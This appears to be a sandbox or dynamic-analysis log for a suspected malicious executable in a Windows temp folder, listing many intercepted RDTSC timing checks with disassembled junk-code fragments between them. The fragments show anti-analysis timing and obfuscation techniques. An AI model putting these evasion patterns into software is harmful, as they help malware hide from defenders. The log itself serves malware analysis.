Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 11121E1 second address: 111221B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3460CF0802h 0x00000009 push edx 0x0000000a pop edx 0x0000000b popad 0x0000000c pop edi 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 jmp 00007F3460CF0809h 0x00000015 push eax 0x00000016 pop eax 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 111221B second address: 1112221 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 1112221 second address: 111222E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push esi 0x00000006 ja 00007F3460CF07F6h 0x0000000c pop esi 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 111292E second address: 1112932 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 1112932 second address: 1112957 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3460CF0809h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 1112957 second address: 111295B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 111295B second address: 1112961 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 1112AF2 second address: 1112AF6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 11144C4 second address: 11144DF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3460CF0807h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 1117068 second address: 1117077 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jng 00007F3460BFB966h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 1117077 second address: 111709B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 jmp 00007F3460CF0800h 0x0000000c mov eax, dword ptr [esp+04h] 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 jng 00007F3460CF07F6h 0x00000019 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 1117343 second address: 1117385 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 mov dword ptr [esp], eax 0x00000008 stc 0x00000009 push dword ptr [ebp+122D2653h] 0x0000000f call 00007F3460BFB970h 0x00000014 pop edx 0x00000015 jp 00007F3460BFB96Ch 0x0000001b mov dword ptr [ebp+122D194Bh], esi 0x00000021 call 00007F3460BFB969h 0x00000026 push eax 0x00000027 push eax 0x00000028 push edx 0x00000029 jmp 00007F3460BFB96Ah 0x0000002e rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 1117385 second address: 111739C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 push eax 0x00000008 jnl 00007F3460CF0804h 0x0000000e pushad 0x0000000f jnl 00007F3460CF07F6h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 111739C second address: 11173BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 mov eax, dword ptr [esp+04h] 0x00000009 push edx 0x0000000a jl 00007F3460BFB96Ch 0x00000010 pop edx 0x00000011 mov eax, dword ptr [eax] 0x00000013 ja 00007F3460BFB970h 0x00000019 push eax 0x0000001a push edx 0x0000001b push edx 0x0000001c pop edx 0x0000001d rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 111A4D4 second address: 111A4D9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 4A8002F second address: 4A80035 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 4A80035 second address: 4A8003B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 4A8003B second address: 4A8003F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 4A8003F second address: 4A8004E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 4A8004E second address: 4A80054 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 4A80054 second address: 4A8005A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 4A8005A second address: 4A8005E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 4A60D23 second address: 4A60D38 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 xchg eax, ebp 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F3460CF07FBh 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 4A60D38 second address: 4A60D9F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push edi 0x00000006 pop eax 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c pushfd 0x0000000d jmp 00007F3460BFB96Ch 0x00000012 and cx, EFF8h 0x00000017 jmp 00007F3460BFB96Bh 0x0000001c popfd 0x0000001d mov esi, 147CF12Fh 0x00000022 popad 0x00000023 xchg eax, ebp 0x00000024 push eax 0x00000025 push edx 0x00000026 pushad 0x00000027 call 00007F3460BFB977h 0x0000002c pop esi 0x0000002d call 00007F3460BFB979h 0x00000032 pop eax 0x00000033 popad 0x00000034 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 4A60D9F second address: 4A60DBE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 mov eax, 2CF4C2C9h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov ebp, esp 0x0000000f pushad 0x00000010 push eax 0x00000011 mov ecx, edx 0x00000013 pop edi 0x00000014 mov ch, F0h 0x00000016 popad 0x00000017 pop ebp 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b movsx ebx, ax 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 4A60DBE second address: 4A60DC4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 4A60DC4 second address: 4A60DC8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 4AA0E29 second address: 4AA0E8D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 mov dh, CFh 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c call 00007F3460BFB971h 0x00000011 mov bx, ax 0x00000014 pop eax 0x00000015 pushad 0x00000016 pushad 0x00000017 popad 0x00000018 popad 0x00000019 popad 0x0000001a xchg eax, ebp 0x0000001b push eax 0x0000001c push edx 0x0000001d pushad 0x0000001e pushfd 0x0000001f jmp 00007F3460BFB977h 0x00000024 sub ax, 2C3Eh 0x00000029 jmp 00007F3460BFB979h 0x0000002e popfd 0x0000002f push esi 0x00000030 pop ebx 0x00000031 popad 0x00000032 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 4AA0E8D second address: 4AA0E93 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 4AA0E93 second address: 4AA0EB2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a jmp 00007F3460BFB96Bh 0x0000000f pop ebp 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 movsx edx, ax 0x00000016 mov dl, ah 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 4AA0EB2 second address: 4AA0EBA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movzx ecx, dx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 4A400D0 second address: 4A400D6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 4A400D6 second address: 4A400E7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3460CF07FDh 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 4A400E7 second address: 4A400EB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 4A400EB second address: 4A4013F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esi 0x00000009 jmp 00007F3460CF07FAh 0x0000000e mov dword ptr [esp], ebp 0x00000011 jmp 00007F3460CF0800h 0x00000016 mov ebp, esp 0x00000018 jmp 00007F3460CF0800h 0x0000001d push dword ptr [ebp+04h] 0x00000020 push eax 0x00000021 push edx 0x00000022 jmp 00007F3460CF0807h 0x00000027 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 4A4013F second address: 4A40145 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 4A40145 second address: 4A40170 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push dword ptr [ebp+0Ch] 0x0000000b jmp 00007F3460CF0807h 0x00000010 push dword ptr [ebp+08h] 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 4A40170 second address: 4A4018B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3460BFB977h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 4A401AD second address: 4A401B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 4A401B2 second address: 4A401B8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 4A60ACE second address: 4A60AF6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3460CF07FAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F3460CF0807h 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 4A60AF6 second address: 4A60AFC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 4A60AFC second address: 4A60B00 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 4A60B00 second address: 4A60B71 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3460BFB96Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jmp 00007F3460BFB979h 0x00000011 xchg eax, ebp 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 pushfd 0x00000016 jmp 00007F3460BFB973h 0x0000001b sbb ch, FFFFFFCEh 0x0000001e jmp 00007F3460BFB979h 0x00000023 popfd 0x00000024 jmp 00007F3460BFB970h 0x00000029 popad 0x0000002a rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 4A60612 second address: 4A60618 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 4A60618 second address: 4A6061C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 4A6061C second address: 4A6065F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3460CF0803h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c jmp 00007F3460CF0806h 0x00000011 push eax 0x00000012 jmp 00007F3460CF07FBh 0x00000017 xchg eax, ebp 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 4A6065F second address: 4A60663 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 4A60663 second address: 4A60669 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 4A60669 second address: 4A6066F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 4A6066F second address: 4A60673 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 4A60673 second address: 4A60696 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F3460BFB977h 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 4A60696 second address: 4A6069C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 4A60526 second address: 4A6052B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 4A6052B second address: 4A60575 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushfd 0x00000005 jmp 00007F3460CF07FDh 0x0000000a adc si, 1D16h 0x0000000f jmp 00007F3460CF0801h 0x00000014 popfd 0x00000015 popad 0x00000016 pop edx 0x00000017 pop eax 0x00000018 mov ebp, esp 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e jmp 00007F3460CF0808h 0x00000023 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 4A60575 second address: 4A60584 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3460BFB96Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 4A700B5 second address: 4A700CD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3460CF0804h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 4A700CD second address: 4A700EB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F3460BFB973h 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 4A700EB second address: 4A7014E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 movsx edx, cx 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp], ebp 0x0000000e pushad 0x0000000f pushfd 0x00000010 jmp 00007F3460CF07FAh 0x00000015 or ch, 00000038h 0x00000018 jmp 00007F3460CF07FBh 0x0000001d popfd 0x0000001e jmp 00007F3460CF0808h 0x00000023 popad 0x00000024 mov ebp, esp 0x00000026 jmp 00007F3460CF0800h 0x0000002b pop ebp 0x0000002c push eax 0x0000002d push edx 0x0000002e push eax 0x0000002f push edx 0x00000030 jmp 00007F3460CF07FAh 0x00000035 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 4A7014E second address: 4A70154 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 4A70154 second address: 4A7015A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 4A7015A second address: 4A7015E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 4AA0D3E second address: 4AA0D42 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 4AA0D42 second address: 4AA0D48 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 4AA0D48 second address: 4AA0D8A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F3460CF0802h 0x00000009 and cl, 00000008h 0x0000000c jmp 00007F3460CF07FBh 0x00000011 popfd 0x00000012 mov ch, 95h 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 push ebx 0x00000018 pushad 0x00000019 mov bx, si 0x0000001c mov ebx, ecx 0x0000001e popad 0x0000001f mov dword ptr [esp], ebp 0x00000022 push eax 0x00000023 push edx 0x00000024 jmp 00007F3460CF07FBh 0x00000029 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 4AA0D8A second address: 4AA0D9D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 mov bx, E898h 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov ebp, esp 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 4AA0D9D second address: 4AA0DA4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ebx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 4A6040A second address: 4A6040E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 4A6040E second address: 4A60429 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3460CF0807h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 4A60429 second address: 4A60475 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F3460BFB972h 0x00000009 add ah, 00000068h 0x0000000c jmp 00007F3460BFB96Bh 0x00000011 popfd 0x00000012 popad 0x00000013 pop edx 0x00000014 pop eax 0x00000015 xchg eax, ebp 0x00000016 jmp 00007F3460BFB976h 0x0000001b push eax 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f mov eax, 7CFCB9E3h 0x00000024 movzx ecx, bx 0x00000027 popad 0x00000028 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 4A70EBB second address: 4A70EC3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 movsx edi, ax 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 4A70EC3 second address: 4A70F22 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bh, 4Dh 0x00000005 mov ecx, 19652029h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d xchg eax, ebp 0x0000000e pushad 0x0000000f jmp 00007F3460BFB972h 0x00000014 mov di, ax 0x00000017 popad 0x00000018 push eax 0x00000019 jmp 00007F3460BFB977h 0x0000001e xchg eax, ebp 0x0000001f push eax 0x00000020 push edx 0x00000021 pushad 0x00000022 mov ebx, 49A11E96h 0x00000027 call 00007F3460BFB977h 0x0000002c pop esi 0x0000002d popad 0x0000002e rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 4A70F22 second address: 4A70FA0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov di, cx 0x00000006 pushfd 0x00000007 jmp 00007F3460CF0800h 0x0000000c xor ax, E5E8h 0x00000011 jmp 00007F3460CF07FBh 0x00000016 popfd 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a mov ebp, esp 0x0000001c pushad 0x0000001d pushfd 0x0000001e jmp 00007F3460CF0804h 0x00000023 sub ecx, 1EBF7848h 0x00000029 jmp 00007F3460CF07FBh 0x0000002e popfd 0x0000002f call 00007F3460CF0808h 0x00000034 pushad 0x00000035 popad 0x00000036 pop eax 0x00000037 popad 0x00000038 pop ebp 0x00000039 push eax 0x0000003a push edx 0x0000003b jmp 00007F3460CF07FAh 0x00000040 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 4A70FA0 second address: 4A70FA6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 4A70FA6 second address: 4A70FAA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 4A70FAA second address: 4A70FAE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 4A8020C second address: 4A80210 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 4A80210 second address: 4A80216 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
